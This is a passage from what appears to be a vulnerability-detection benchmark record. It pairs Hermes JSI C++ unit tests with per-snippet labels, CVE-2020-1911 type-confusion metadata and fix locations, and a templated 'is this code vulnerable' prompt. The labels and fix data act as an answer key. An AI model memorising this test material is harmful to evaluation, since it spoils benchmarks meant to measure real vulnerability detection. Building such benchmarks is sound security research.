thisVal,\n const Value* args,\n size_t count) -> Value {\n return String::createFromUtf8(rt, strval);\n }));\n auto obj = Object(rt);\n rt.global()\n .getPropertyAsObject(rt, \"Object\")\n .getPropertyAsFunction(rt, \"defineProperty\")\n .call(rt, obj, \"prop\", getter);\n EXPECT_TRUE(function(\"function(value) { return value.prop == 'strval1'; }\")\n .call(rt, obj)\n .getBool());\n strval = \"strval2\";\n EXPECT_TRUE(function(\"function(value) { return value.prop == 'strval2'; }\")\n .call(rt, obj)\n .getBool());\n}", "TEST_P(JSITest, ValueTest) {\n EXPECT_TRUE(checkValue(Value::undefined(), \"undefined\"));\n EXPECT_TRUE(checkValue(Value(), \"undefined\"));\n EXPECT_TRUE(checkValue(Value::null(), \"null\"));\n EXPECT_TRUE(checkValue(nullptr, \"null\"));", " EXPECT_TRUE(checkValue(Value(false), \"false\"));\n EXPECT_TRUE(checkValue(false, \"false\"));\n EXPECT_TRUE(checkValue(true, \"true\"));", " EXPECT_TRUE(checkValue(Value(1.5), \"1.5\"));\n EXPECT_TRUE(checkValue(2.5, \"2.5\"));", " EXPECT_TRUE(checkValue(Value(10), \"10\"));\n EXPECT_TRUE(checkValue(20, \"20\"));\n EXPECT_TRUE(checkValue(30, \"30\"));", " // rvalue implicit conversion\n EXPECT_TRUE(checkValue(String::createFromAscii(rt, \"one\"), \"'one'\"));\n // lvalue explicit copy\n String s = String::createFromAscii(rt, \"two\");\n EXPECT_TRUE(checkValue(Value(rt, s), \"'two'\"));", " {\n // rvalue assignment of trivial value\n Value v1 = 100;\n Value v2 = String::createFromAscii(rt, \"hundred\");\n v2 = std::move(v1);\n EXPECT_TRUE(v2.isNumber());\n EXPECT_EQ(v2.getNumber(), 100);\n }", " {\n // rvalue assignment of js heap value\n Value v1 = String::createFromAscii(rt, \"hundred\");\n Value v2 = 100;\n v2 = std::move(v1);\n EXPECT_TRUE(v2.isString());\n EXPECT_EQ(v2.getString(rt).utf8(rt), \"hundred\");\n }", " Object o = Object(rt);\n EXPECT_TRUE(function(\"function(value) { return typeof(value) == 'object'; }\")\n .call(rt, Value(rt, o))\n .getBool());", " uint8_t utf8[] = \"[null, 2, \\\"c\\\", \\\"emoji: \\xf0\\x9f\\x86\\x97\\\", {}]\";", " EXPECT_TRUE(\n function(\"function (arr) { return \"\n \"Array.isArray(arr) && \"\n \"arr.length == 5 && \"\n \"arr[0] === null && \"\n \"arr[1] == 2 && \"\n \"arr[2] == 'c' && \"\n \"arr[3] == 'emoji: \\\\uD83C\\\\uDD97' && \"\n \"typeof arr[4] == 'object'; }\")\n .call(rt, Value::createFromJsonUtf8(rt, utf8, sizeof(utf8) - 1))\n .getBool());", " EXPECT_TRUE(eval(\"undefined\").isUndefined());\n EXPECT_TRUE(eval(\"null\").isNull());\n EXPECT_TRUE(eval(\"true\").isBool());\n EXPECT_TRUE(eval(\"false\").isBool());\n EXPECT_TRUE(eval(\"123\").isNumber());\n EXPECT_TRUE(eval(\"123.4\").isNumber());\n EXPECT_TRUE(eval(\"'str'\").isString());\n // \"{}\" returns undefined. empty code block?\n EXPECT_TRUE(eval(\"({})\").isObject());\n EXPECT_TRUE(eval(\"[]\").isObject());\n EXPECT_TRUE(eval(\"(function(){})\").isObject());", " EXPECT_EQ(eval(\"123\").getNumber(), 123);\n EXPECT_EQ(eval(\"123.4\").getNumber(), 123.4);\n EXPECT_EQ(eval(\"'str'\").getString(rt).utf8(rt), \"str\");\n EXPECT_TRUE(eval(\"[]\").getObject(rt).isArray(rt));", " EXPECT_EQ(eval(\"456\").asNumber(), 456);\n EXPECT_THROW(eval(\"'word'\").asNumber(), JSIException);\n EXPECT_EQ(\n eval(\"({1:2, 3:4})\").asObject(rt).getProperty(rt, \"1\").getNumber(), 2);\n EXPECT_THROW(eval(\"'oops'\").asObject(rt), JSIException);", " EXPECT_EQ(eval(\"['zero',1,2,3]\").toString(rt).utf8(rt), \"zero,1,2,3\");\n}", "TEST_P(JSITest, EqualsTest) {\n EXPECT_TRUE(Object::strictEquals(rt, rt.global(), rt.global()));\n EXPECT_TRUE(Value::strictEquals(rt, 1, 1));\n EXPECT_FALSE(Value::strictEquals(rt, true, 1));\n EXPECT_FALSE(Value::strictEquals(rt, true, false));\n EXPECT_TRUE(Value::strictEquals(rt, false, false));\n EXPECT_FALSE(Value::strictEquals(rt, nullptr, 1));\n EXPECT_TRUE(Value::strictEquals(rt, nullptr, nullptr));\n EXPECT_TRUE(Value::strictEquals(rt, Value::undefined(), Value()));\n EXPECT_TRUE(Value::strictEquals(rt, rt.global(), Value(rt.global())));\n EXPECT_FALSE(Value::strictEquals(\n rt,\n std::numeric_limits<double>::quiet_NaN(),\n std::numeric_limits<double>::quiet_NaN()));\n EXPECT_FALSE(Value::strictEquals(\n rt,\n std::numeric_limits<double>::signaling_NaN(),\n std::numeric_limits<double>::signaling_NaN()));\n EXPECT_TRUE(Value::strictEquals(rt, +0.0, -0.0));\n EXPECT_TRUE(Value::strictEquals(rt, -0.0, +0.0));", " Function noop = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"noop\"),\n 0,\n [](const Runtime&, const Value&, const Value*, size_t) {\n return Value();\n });\n auto noopDup = Value(rt, noop).getObject(rt);\n EXPECT_TRUE(Object::strictEquals(rt, noop, noopDup));\n EXPECT_TRUE(Object::strictEquals(rt, noopDup, noop));\n EXPECT_FALSE(Object::strictEquals(rt, noop, rt.global()));\n EXPECT_TRUE(Object::strictEquals(rt, noop, noop));\n EXPECT_TRUE(Value::strictEquals(rt, Value(rt, noop), Value(rt, noop)));", " String str = String::createFromAscii(rt, \"rick\");\n String strDup = String::createFromAscii(rt, \"rick\");\n String otherStr = String::createFromAscii(rt, \"morty\");\n EXPECT_TRUE(String::strictEquals(rt, str, str));\n EXPECT_TRUE(String::strictEquals(rt, str, strDup));\n EXPECT_TRUE(String::strictEquals(rt, strDup, str));\n EXPECT_FALSE(String::strictEquals(rt, str, otherStr));\n EXPECT_TRUE(Value::strictEquals(rt, Value(rt, str), Value(rt, str)));\n EXPECT_FALSE(Value::strictEquals(rt, Value(rt, str), Value(rt, noop)));\n EXPECT_FALSE(Value::strictEquals(rt, Value(rt, str), 1.0));\n}", "TEST_P(JSITest, ExceptionStackTraceTest) {\n static const char invokeUndefinedScript[] =\n \"function hello() {\"\n \" var a = {}; a.log(); }\"\n \"function world() { hello(); }\"\n \"world()\";\n std::string stack;\n try {\n rt.evaluateJavaScript(\n std::make_unique<StringBuffer>(invokeUndefinedScript), \"\");\n } catch (JSError& e) {\n stack = e.getStack();\n }\n EXPECT_NE(stack.find(\"world\"), std::string::npos);\n}", "TEST_P(JSITest, PreparedJavaScriptSourceTest) {\n rt.evaluateJavaScript(std::make_unique<StringBuffer>(\"var q = 0;\"), \"\");\n auto prep = rt.prepareJavaScript(std::make_unique<StringBuffer>(\"q++;\"), \"\");\n EXPECT_EQ(rt.global().getProperty(rt, \"q\").getNumber(), 0);\n rt.evaluatePreparedJavaScript(prep);\n EXPECT_EQ(rt.global().getProperty(rt, \"q\").getNumber(), 1);\n rt.evaluatePreparedJavaScript(prep);\n EXPECT_EQ(rt.global().getProperty(rt, \"q\").getNumber(), 2);\n}", "TEST_P(JSITest, PreparedJavaScriptURLInBacktrace) {\n std::string sourceURL = \"//PreparedJavaScriptURLInBacktrace/Test/URL\";\n std::string throwingSource =\n \"function thrower() { throw new Error('oops')}\"\n \"thrower();\";\n auto prep = rt.prepareJavaScript(\n std::make_unique<StringBuffer>(throwingSource), sourceURL);\n try {\n rt.evaluatePreparedJavaScript(prep);\n FAIL() << \"prepareJavaScript should have thrown an exception\";\n } catch (facebook::jsi::JSError err) {\n EXPECT_NE(std::string::npos, err.getStack().find(sourceURL))\n << \"Backtrace should contain source URL\";\n }\n}", "namespace {", "unsigned countOccurences(const std::string& of, const std::string& in) {\n unsigned occurences = 0;\n std::string::size_type lastOccurence = -1;\n while ((lastOccurence = in.find(of, lastOccurence + 1)) !=\n std::string::npos) {\n occurences++;\n }\n return occurences;\n}", "} // namespace", "TEST_P(JSITest, JSErrorsArePropagatedNicely) {\n unsigned callsBeforeError = 5;", " Function sometimesThrows = function(\n \"function sometimesThrows(shouldThrow, callback) {\"\n \" if (shouldThrow) {\"\n \" throw Error('Omg, what a nasty exception')\"\n \" }\"\n \" callback(callback);\"\n \"}\");", " Function callback = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"callback\"),\n 0,\n [&sometimesThrows, &callsBeforeError](\n Runtime& rt, const Value& thisVal, const Value* args, size_t count) {\n return sometimesThrows.call(rt, --callsBeforeError == 0, args[0]);\n });", " try {\n sometimesThrows.call(rt, false, callback);\n } catch (JSError& error) {\n EXPECT_EQ(error.getMessage(), \"Omg, what a nasty exception\");\n EXPECT_EQ(countOccurences(\"sometimesThrows\", error.getStack()), 6);", " // system JSC JSI does not implement host function names\n // EXPECT_EQ(countOccurences(\"callback\", error.getStack(rt)), 5);\n }\n}", "TEST_P(JSITest, JSErrorsCanBeConstructedWithStack) {\n auto err = JSError(rt, \"message\", \"stack\");\n EXPECT_EQ(err.getMessage(), \"message\");\n EXPECT_EQ(err.getStack(), \"stack\");\n}", "TEST_P(JSITest, JSErrorDoesNotInfinitelyRecurse) {\n Value globalError = rt.global().getProperty(rt, \"Error\");\n rt.global().setProperty(rt, \"Error\", Value::undefined());\n try {\n rt.global().getPropertyAsFunction(rt, \"NotAFunction\");\n FAIL() << \"expected exception\";\n } catch (const JSError& ex) {\n EXPECT_EQ(\n ex.getMessage(),\n \"callGlobalFunction: JS global property 'Error' is undefined, \"\n \"expected a Function (while raising getPropertyAsObject: \"\n \"property 'NotAFunction' is undefined, expected an Object)\");\n }", " // If Error is missing, this is fundamentally a problem with JS code\n // messing up the global object, so it should present in JS code as\n // a catchable string. Not an Error (because that's broken), or as\n // a C++ failure.", " auto fails = [](Runtime& rt, const Value&, const Value*, size_t) -> Value {\n return rt.global().getPropertyAsObject(rt, \"NotAProperty\");\n };\n EXPECT_EQ(\n function(\"function (f) { try { f(); return 'undefined'; }\"\n \"catch (e) { return typeof e; } }\")\n .call(\n rt,\n Function::createFromHostFunction(\n rt, PropNameID::forAscii(rt, \"fails\"), 0, fails))\n .getString(rt)\n .utf8(rt),\n \"string\");", " rt.global().setProperty(rt, \"Error\", globalError);\n}", "TEST_P(JSITest, JSErrorStackOverflowHandling) {\n rt.global().setProperty(\n rt,\n \"callSomething\",\n Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"callSomething\"),\n 0,\n [this](\n Runtime& rt2,\n const Value& thisVal,\n const Value* args,\n size_t count) {\n EXPECT_EQ(&rt, &rt2);\n return function(\"function() { return 0; }\").call(rt);\n }));\n try {\n eval(\"(function f() { callSomething(); f.apply(); })()\");\n FAIL();\n } catch (const JSError& ex) {\n EXPECT_NE(std::string(ex.what()).find(\"exceeded\"), std::string::npos);\n }\n}", "TEST_P(JSITest, ScopeDoesNotCrashTest) {\n Scope scope(rt);\n Object o(rt);\n}", "TEST_P(JSITest, ScopeDoesNotCrashWhenValueEscapes) {\n Value v;\n Scope::callInNewScope(rt, [&]() {\n Object o(rt);\n o.setProperty(rt, \"a\", 5);\n v = std::move(o);\n });\n EXPECT_EQ(v.getObject(rt).getProperty(rt, \"a\").getNumber(), 5);\n}", "// Verifies you can have a host object that emulates a normal object\nTEST_P(JSITest, HostObjectWithValueMembers) {\n class Bag : public HostObject {\n public:\n Bag() = default;", " const Value& operator[](const std::string& name) const {\n auto iter = data_.find(name);\n if (iter == data_.end()) {\n return undef_;\n }\n return iter->second;\n }", " protected:\n Value get(Runtime& rt, const PropNameID& name) override {\n return Value(rt, (*this)[name.utf8(rt)]);\n }", " void set(Runtime& rt, const PropNameID& name, const Value& val) override {\n data_.emplace(name.utf8(rt), Value(rt, val));\n }", " Value undef_;\n std::map<std::string, Value> data_;\n };", " auto sharedBag = std::make_shared<Bag>();\n auto& bag = *sharedBag;\n Object jsbag = Object::createFromHostObject(rt, std::move(sharedBag));\n auto set = function(\n \"function (o) {\"\n \" o.foo = 'bar';\"\n \" o.count = 37;\"\n \" o.nul = null;\"\n \" o.iscool = true;\"\n \" o.obj = { 'foo': 'bar' };\"\n \"}\");\n set.call(rt, jsbag);\n auto checkFoo = function(\"function (o) { return o.foo === 'bar'; }\");\n auto checkCount = function(\"function (o) { return o.count === 37; }\");\n auto checkNul = function(\"function (o) { return o.nul === null; }\");\n auto checkIsCool = function(\"function (o) { return o.iscool === true; }\");\n auto checkObj = function(\n \"function (o) {\"\n \" return (typeof o.obj) === 'object' && o.obj.foo === 'bar';\"\n \"}\");\n // Check this looks good from js\n EXPECT_TRUE(checkFoo.call(rt, jsbag).getBool());\n EXPECT_TRUE(checkCount.call(rt, jsbag).getBool());\n EXPECT_TRUE(checkNul.call(rt, jsbag).getBool());\n EXPECT_TRUE(checkIsCool.call(rt, jsbag).getBool());\n EXPECT_TRUE(checkObj.call(rt, jsbag).getBool());", " // Check this looks good from c++\n EXPECT_EQ(bag[\"foo\"].getString(rt).utf8(rt), \"bar\");\n EXPECT_EQ(bag[\"count\"].getNumber(), 37);\n EXPECT_TRUE(bag[\"nul\"].isNull());\n EXPECT_TRUE(bag[\"iscool\"].getBool());\n EXPECT_EQ(\n bag[\"obj\"].getObject(rt).getProperty(rt, \"foo\").getString(rt).utf8(rt),\n \"bar\");\n}", "TEST_P(JSITest, DecoratorTest) {\n struct Count {\n // init here is just to show that a With type does not need to be\n // default constructible.\n explicit Count(int init) : count(init) {}", " // Test optional before method.", " void after() {\n ++count;\n }", " int count;\n };", " static constexpr int kInit = 17;", " class CountRuntime final : public WithRuntimeDecorator<Count> {\n public:\n explicit CountRuntime(std::unique_ptr<Runtime> rt)\n : WithRuntimeDecorator<Count>(*rt, count_),\n rt_(std::move(rt)),\n count_(kInit) {}", " int count() {\n return count_.count;\n }", " private:\n std::unique_ptr<Runtime> rt_;\n Count count_;\n };", " CountRuntime crt(factory());", " crt.description();\n EXPECT_EQ(crt.count(), kInit + 1);", " crt.global().setProperty(crt, \"o\", Object(crt));\n EXPECT_EQ(crt.count(), kInit + 6);\n}", "TEST_P(JSITest, MultiDecoratorTest) {\n struct Inc {\n void before() {\n ++count;\n }", " // Test optional after method.", " int count = 0;\n };", " struct Nest {\n void before() {\n ++nest;\n }", " void after() {\n --nest;\n }", " int nest = 0;\n };", " class MultiRuntime final\n : public WithRuntimeDecorator<std::tuple<Inc, Nest>> {\n public:\n explicit MultiRuntime(std::unique_ptr<Runtime> rt)\n : WithRuntimeDecorator<std::tuple<Inc, Nest>>(*rt, tuple_),\n rt_(std::move(rt)) {}", " int count() {\n return std::get<0>(tuple_).count;\n }\n int nest() {\n return std::get<1>(tuple_).nest;\n }", " private:\n std::unique_ptr<Runtime> rt_;\n std::tuple<Inc, Nest> tuple_;\n };", " MultiRuntime mrt(factory());", " Function expectNestOne = Function::createFromHostFunction(\n mrt,\n PropNameID::forAscii(mrt, \"expectNestOne\"),\n 0,\n [](Runtime& rt, const Value& thisVal, const Value* args, size_t count) {\n MultiRuntime* funcmrt = dynamic_cast<MultiRuntime*>(&rt);\n EXPECT_NE(funcmrt, nullptr);\n EXPECT_EQ(funcmrt->count(), 3);\n EXPECT_EQ(funcmrt->nest(), 1);\n return Value::undefined();\n });", " expectNestOne.call(mrt);", " EXPECT_EQ(mrt.count(), 3);\n EXPECT_EQ(mrt.nest(), 0);\n}", "TEST_P(JSITest, SymbolTest) {\n if (!rt.global().hasProperty(rt, \"Symbol\")) {\n // Symbol is an es6 feature which doesn't exist in older VMs. So\n // the tests which might be elsewhere are all here so they can be\n // skipped.\n return;\n }", " // ObjectTest\n eval(\"x = {1:2, 'three':Symbol('four')}\");\n Object x = rt.global().getPropertyAsObject(rt, \"x\");\n EXPECT_EQ(x.getPropertyNames(rt).size(rt), 2);\n EXPECT_TRUE(x.hasProperty(rt, \"three\"));\n EXPECT_EQ(\n x.getProperty(rt, \"three\").getSymbol(rt).toString(rt), \"Symbol(four)\");", " // ValueTest\n EXPECT_TRUE(eval(\"Symbol('sym')\").isSymbol());\n EXPECT_EQ(eval(\"Symbol('sym')\").getSymbol(rt).toString(rt), \"Symbol(sym)\");", " // EqualsTest\n EXPECT_FALSE(Symbol::strictEquals(\n rt,\n eval(\"Symbol('a')\").getSymbol(rt),\n eval(\"Symbol('a')\").getSymbol(rt)));\n EXPECT_TRUE(Symbol::strictEquals(\n rt,\n eval(\"Symbol.for('a')\").getSymbol(rt),\n eval(\"Symbol.for('a')\").getSymbol(rt)));\n EXPECT_FALSE(\n Value::strictEquals(rt, eval(\"Symbol('a')\"), eval(\"Symbol('a')\")));\n EXPECT_TRUE(Value::strictEquals(\n rt, eval(\"Symbol.for('a')\"), eval(\"Symbol.for('a')\")));\n EXPECT_FALSE(Value::strictEquals(rt, eval(\"Symbol('a')\"), eval(\"'a'\")));\n}", "TEST_P(JSITest, JSErrorTest) {\n // JSError creation can lead to further errors. Make sure these\n // cases are handled and don't cause weird crashes or other issues.\n //\n // Getting message property can throw", " EXPECT_THROW(\n eval(\"var GetMessageThrows = {get message() { throw Error('ex'); }};\"\n \"throw GetMessageThrows;\"),\n JSIException);", " EXPECT_THROW(\n eval(\"var GetMessageThrows = {get message() { throw GetMessageThrows; }};\"\n \"throw GetMessageThrows;\"),\n JSIException);", " // Converting exception message to String can throw", " EXPECT_THROW(\n eval(\n \"Object.defineProperty(\"\n \" globalThis, 'String', {configurable:true, get() { var e = Error(); e.message = 23; throw e; }});\"\n \"var e = Error();\"\n \"e.message = 17;\"\n \"throw e;\"),\n JSIException);", " EXPECT_THROW(\n eval(\n \"var e = Error();\"\n \"Object.defineProperty(\"\n \" e, 'message', {configurable:true, get() { throw Error('getter'); }});\"\n \"throw e;\"),\n JSIException);", " EXPECT_THROW(\n eval(\"var e = Error();\"\n \"String = function() { throw Error('ctor'); };\"\n \"throw e;\"),\n JSIException);", " // Converting an exception message to String can return a non-String", " EXPECT_THROW(\n eval(\"String = function() { return 42; };\"\n \"var e = Error();\"\n \"e.message = 17;\"\n \"throw e;\"),\n JSIException);", " // Exception can be non-Object", " EXPECT_THROW(eval(\"throw 17;\"), JSIException);", " EXPECT_THROW(eval(\"throw undefined;\"), JSIException);", " // Converting exception with no message or stack property to String can throw", " EXPECT_THROW(\n eval(\"var e = {toString() { throw new Error('errstr'); }};\"\n \"throw e;\"),\n JSIException);\n}", "//----------------------------------------------------------------------\n// Test that multiple levels of delegation in DecoratedHostObjects works.", "class RD1 : public RuntimeDecorator<Runtime, Runtime> {\n public:\n RD1(Runtime& plain) : RuntimeDecorator(plain) {}", " Object createObject(std::shared_ptr<HostObject> ho) {\n class DHO1 : public DecoratedHostObject {\n public:\n using DecoratedHostObject::DecoratedHostObject;", " Value get(Runtime& rt, const PropNameID& name) override {\n numGets++;\n return DecoratedHostObject::get(rt, name);\n }\n };\n return Object::createFromHostObject(\n plain(), std::make_shared<DHO1>(*this, ho));\n }", " static unsigned numGets;\n};", "class RD2 : public RuntimeDecorator<Runtime, Runtime> {\n public:\n RD2(Runtime& plain) : RuntimeDecorator(plain) {}", " Object createObject(std::shared_ptr<HostObject> ho) {\n class DHO2 : public DecoratedHostObject {\n public:\n using DecoratedHostObject::DecoratedHostObject;", " Value get(Runtime& rt, const PropNameID& name) override {\n numGets++;\n return DecoratedHostObject::get(rt, name);\n }\n };\n return Object::createFromHostObject(\n plain(), std::make_shared<DHO2>(*this, ho));\n }", " static unsigned numGets;\n};", "class HO : public HostObject {\n public:\n explicit HO(Runtime* expectedRT) : expectedRT_(expectedRT) {}", " Value get(Runtime& rt, const PropNameID& name) override {\n EXPECT_EQ(expectedRT_, &rt);\n return Value(17.0);\n }", " private:\n // The runtime we expect to be called with.\n Runtime* expectedRT_;\n};", "unsigned RD1::numGets = 0;\nunsigned RD2::numGets = 0;", "TEST_P(JSITest, MultilevelDecoratedHostObject) {\n // This test will be run for various test instantiations, so initialize these\n // counters.\n RD1::numGets = 0;\n RD2::numGets = 0;", " RD1 rd1(rt);\n RD2 rd2(rd1);\n // We expect the \"get\" operation of ho to be called with rd2.\n auto ho = std::make_shared<HO>(&rd2);\n auto obj = Object::createFromHostObject(rd2, ho);\n Value v = obj.getProperty(rd2, \"p\");\n EXPECT_TRUE(v.isNumber());\n EXPECT_EQ(17.0, v.asNumber());\n auto ho2 = obj.getHostObject(rd2);\n EXPECT_EQ(ho, ho2);\n EXPECT_EQ(1, RD1::numGets);\n EXPECT_EQ(1, RD2::numGets);\n}", "INSTANTIATE_TEST_CASE_P(\n Runtimes,\n JSITest,\n ::testing::ValuesIn(runtimeGenerators()));" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [394, 1177], "buggy_code_start_loc": [394, 1176], "filenames": ["API/jsi/jsi/test/testlib.cpp", "lib/VM/JSObject.cpp"], "fixing_code_end_loc": [412, 1177], "fixing_code_start_loc": [395, 1176], "message": "A type confusion vulnerability when resolving properties of JavaScript objects with specially-crafted prototype chains in Facebook Hermes prior to commit fe52854cdf6725c2eaa9e125995da76e6ceb27da allows attackers to potentially execute arbitrary code via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:facebook:hermes:*:*:*:*:*:*:*:*", "matchCriteriaId": "A050D3EF-B82D-4B22-8504-42B384E738B9", "versionEndExcluding": "0.4.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A type confusion vulnerability when resolving properties of JavaScript objects with specially-crafted prototype chains in Facebook Hermes prior to commit fe52854cdf6725c2eaa9e125995da76e6ceb27da allows attackers to potentially execute arbitrary code via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected."}, {"lang": "es", "value": "Una vulnerabilidad de confusi\u00f3n de tipos al resolver propiedades de objetos JavaScript con cadenas de prototipos especialmente dise\u00f1adas en Facebook Hermes versiones anteriores al commit fe52854cdf6725c2eaa9e125995da76e6ceb27da, permite a atacantes ejecutar potencialmente c\u00f3digo arbitrario por medio de un JavaScript dise\u00f1ado. Tome en cuenta que esto solo se puede explotar si la aplicaci\u00f3n que usa Hermes permite una evaluaci\u00f3n de JavaScript que no es confiable. Por lo tanto, la mayor\u00eda de las aplicaciones React Native no est\u00e1n afectadas"}], "evaluatorComment": null, "id": "CVE-2020-1911", "lastModified": "2020-09-11T17:02:45.287", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2020-09-04T03:15:09.700", "references": [{"source": "cve-assign@fb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/facebook/hermes/commit/fe52854cdf6725c2eaa9e125995da76e6ceb27da"}, {"source": "cve-assign@fb.com", "tags": ["Third Party Advisory"], "url": "https://www.facebook.com/security/advisories/cve-2020-1911"}], "sourceIdentifier": "cve-assign@fb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-843"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-843"}], "source": "cve-assign@fb.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/facebook/hermes/commit/fe52854cdf6725c2eaa9e125995da76e6ceb27da"}, "type": "CWE-843"}
138
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */", "#include <jsi/test/testlib.h>\n#include <gtest/gtest.h>\n#include <jsi/decorator.h>\n#include <jsi/jsi.h>", "#include <stdlib.h>\n#include <chrono>\n#include <functional>\n#include <thread>\n#include <unordered_map>\n#include <unordered_set>", "using namespace facebook::jsi;", "class JSITest : public JSITestBase {};", "TEST_P(JSITest, RuntimeTest) {\n auto v = rt.evaluateJavaScript(std::make_unique<StringBuffer>(\"1\"), \"\");\n EXPECT_EQ(v.getNumber(), 1);", " rt.evaluateJavaScript(std::make_unique<StringBuffer>(\"x = 1\"), \"\");\n EXPECT_EQ(rt.global().getProperty(rt, \"x\").getNumber(), 1);\n}", "TEST_P(JSITest, PropNameIDTest) {\n // This is a little weird to test, because it doesn't really exist\n // in JS yet. All I can do is create them, compare them, and\n // receive one as an argument to a HostObject.", " PropNameID quux = PropNameID::forAscii(rt, \"quux1\", 4);\n PropNameID movedQuux = std::move(quux);\n EXPECT_EQ(movedQuux.utf8(rt), \"quux\");\n movedQuux = PropNameID::forAscii(rt, \"quux2\");\n EXPECT_EQ(movedQuux.utf8(rt), \"quux2\");\n PropNameID copiedQuux = PropNameID(rt, movedQuux);\n EXPECT_TRUE(PropNameID::compare(rt, movedQuux, copiedQuux));", " EXPECT_TRUE(PropNameID::compare(rt, movedQuux, movedQuux));\n EXPECT_TRUE(PropNameID::compare(\n rt, movedQuux, PropNameID::forAscii(rt, std::string(\"quux2\"))));\n EXPECT_FALSE(PropNameID::compare(\n rt, movedQuux, PropNameID::forAscii(rt, std::string(\"foo\"))));\n uint8_t utf8[] = {0xF0, 0x9F, 0x86, 0x97};\n PropNameID utf8PropNameID = PropNameID::forUtf8(rt, utf8, sizeof(utf8));\n EXPECT_EQ(utf8PropNameID.utf8(rt), u8\"\\U0001F197\");\n EXPECT_TRUE(PropNameID::compare(\n rt, utf8PropNameID, PropNameID::forUtf8(rt, utf8, sizeof(utf8))));\n PropNameID nonUtf8PropNameID = PropNameID::forUtf8(rt, \"meow\");\n EXPECT_TRUE(PropNameID::compare(\n rt, nonUtf8PropNameID, PropNameID::forAscii(rt, \"meow\")));\n EXPECT_EQ(nonUtf8PropNameID.utf8(rt), \"meow\");\n PropNameID strPropNameID =\n PropNameID::forString(rt, String::createFromAscii(rt, \"meow\"));\n EXPECT_TRUE(PropNameID::compare(rt, nonUtf8PropNameID, strPropNameID));", " auto names = PropNameID::names(\n rt, \"Ala\", std::string(\"ma\"), PropNameID::forAscii(rt, \"kota\"));\n EXPECT_EQ(names.size(), 3);\n EXPECT_TRUE(\n PropNameID::compare(rt, names[0], PropNameID::forAscii(rt, \"Ala\")));\n EXPECT_TRUE(\n PropNameID::compare(rt, names[1], PropNameID::forAscii(rt, \"ma\")));\n EXPECT_TRUE(\n PropNameID::compare(rt, names[2], PropNameID::forAscii(rt, \"kota\")));\n}", "TEST_P(JSITest, StringTest) {\n EXPECT_TRUE(checkValue(String::createFromAscii(rt, \"foobar\", 3), \"'foo'\"));\n EXPECT_TRUE(checkValue(String::createFromAscii(rt, \"foobar\"), \"'foobar'\"));", " std::string baz = \"baz\";\n EXPECT_TRUE(checkValue(String::createFromAscii(rt, baz), \"'baz'\"));", " uint8_t utf8[] = {0xF0, 0x9F, 0x86, 0x97};\n EXPECT_TRUE(checkValue(\n String::createFromUtf8(rt, utf8, sizeof(utf8)), \"'\\\\uD83C\\\\uDD97'\"));", " EXPECT_EQ(eval(\"'quux'\").getString(rt).utf8(rt), \"quux\");\n EXPECT_EQ(eval(\"'\\\\u20AC'\").getString(rt).utf8(rt), \"\\xe2\\x82\\xac\");", " String quux = String::createFromAscii(rt, \"quux\");\n String movedQuux = std::move(quux);\n EXPECT_EQ(movedQuux.utf8(rt), 